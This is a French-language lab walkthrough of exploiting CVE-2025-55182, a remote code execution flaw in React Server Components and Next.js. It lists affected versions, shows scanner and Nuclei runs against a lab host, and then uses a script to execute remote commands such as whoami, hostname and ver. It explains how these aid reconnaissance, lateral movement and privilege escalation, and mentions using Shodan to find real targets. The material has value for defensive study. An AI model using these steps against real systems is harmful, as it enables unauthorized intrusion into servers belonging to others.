
Exploitation de la faille de sécurité CVE-2025-55182
CVE-2025-55182, également connu sous le nom de React2Shell, est une vulnérabilité critique d'exécution de code à distance (RCE) affectant les React Server Components (RSC). Elle utilise le protocole Flight pour la communication entre le client et le serveur. Lorsque le client demande des données, le serveur reçoit un payload et l'analyse, ce qui peut permettre à un attaquant d'injecter des structures malveillantes ou des extraits de code arbitraires que React accepte comme valides.
| Élément | Contenu |
|---|---|
| Sévérité | Critical (CVSS 10.0) |
| Type | Unsafe Deserialization (CWE-502) |
| Méthode d'attaque | À distance, aucune authentification requise |
| Versions affectées : | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 et Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
Le serveur traite les payloads provenant du client sans validation complète, ce qui permet à un attaquant :
Des activités d'exploitation liées à cette vulnérabilité ont été détectées à partir du 5 décembre 2025. La plupart des exploitations réussies proviennent d'évaluations menées par des groupes d'attaque. Les environnements Windows et Linux sont tous deux affectés.
Installation
pip install -r requirements.txt
Scanner un serveur vulnérable :
python3 scanner.py -u https://example.com
Saisissez le chemin à scanner (ici, j'ai saisi ma machine vulnérable : http://192.168.10.1:3000)
Résultat obtenu :
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Scanner une liste de serveurs :
python3 scanner.py -l hosts.txt
Scanner avec plusieurs threads et enregistrer les résultats :
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scanner avec des en-têtes personnalisés :
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Scanner des cibles Windows :
python3 scanner.py -u https://example.com --windows
Utiliser la méthode de détection par canal secondaire sécurisée :
python3 scanner.py -u https://example.com --safe-check
Comme vous pouvez le voir, nous avons affaire à une vulnérabilité de sécurité, ce qui signifie que le serveur que nous fournissons est susceptible d'être attaqué par un attaquant.
Nous allons maintenant utiliser Nuclei pour vérifier si le serveur ci-dessus présente une vulnérabilité disposant d'un PoC ou non. Cette fonctionnalité fonctionne en envoyant des requêtes personnalisées, en minimisant les faux positifs et en prenant en charge le scan parallèle.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Résultat obtenu
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
Le système a détecté que ce serveur est vulnérable et peut être exploité via la vulnérabilité CVE-2025-55182. Vous pouvez ainsi constater qu'il s'agit d'une vulnérabilité assez dangereuse et importante, avec de nombreux PoC déjà disponibles sur les plateformes sociales. ☺☺☺
Vous pouvez constater que ces informations suffisent à confirmer que la vulnérabilité de sécurité existe dans l'application ci-dessus. Pour prouver que cette application peut être exploitée pour exécuter une commande ou du code à distance, je vais lancer le PoC.
chmod +x scanner.sh
# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com
# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
Signification :
Renvoie l'utilisateur actuel qui exécute le processus serveur
Permet de déterminer :
=> C'est la commande la plus fondamentale pour confirmer une RCE réussie
-d, --domain - domaine/URL-c, --command - La commande à exécuter (ex. : whoami, hostname,...)# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
Il s'agit de l'étape de reconnaissance initiale après une exploitation réussie.
Cela nous permet de confirmer : la RCE fonctionne, identifier le système d'exploitation,...
Comme je fais cette démonstration dans un environnement de laboratoire personnel afin d'éviter toute activité illégale, l'utilisation d'en-têtes HTTP pour voler des données, ainsi que les sorties volumineuses ou les caractères spéciaux, peuvent provoquer :
ERR_INVALID_CHAR
Les commandes courtes (par exemple : whoami, ver) sont plus fiables pour l'illustration dans l'environnement de test ci-dessus.
Si vous préférez, vous pouvez utiliser shodan pour vérifier des adresses IP directement dans un environnement réel et procéder comme dans mon expérimentation ci-dessus pour exploiter la vulnérabilité (non recommandé).
Comme indiqué précédemment. Cet outil est uniquement destiné à des fins éducatives et à des tests de sécurité autorisés. N'utilisez pas cet outil pour tester des systèmes que vous ne possédez pas ou pour lesquels vous n'êtes pas autorisé à effectuer des tests.
| Signification des commandes exécutées | Contenu |
|---|
| Renvoie le nom de la machine (host name) | Sert à : - identifier le système affecté - faciliter le mouvement latéral (dans un environnement interne) |
| Détermine la version du système d'exploitation | Important pour : - évaluer les possibilités d'exploitation ultérieure (élévation de privilèges) - choisir l'exploit approprié |
| Vérifie l'exécution de commandes | Sert à déboguer le payload / le scanner |
| Renvoie le nom d'utilisateur actuel | Dans ce cas : - l'utilisateur est ADMIN → peut avoir des privilèges élevés - Plus important que whoami dans certains cas sous Windows |
| Renvoie le nom de la machine | Renvoie le nom de la machine via la variable d'environnement |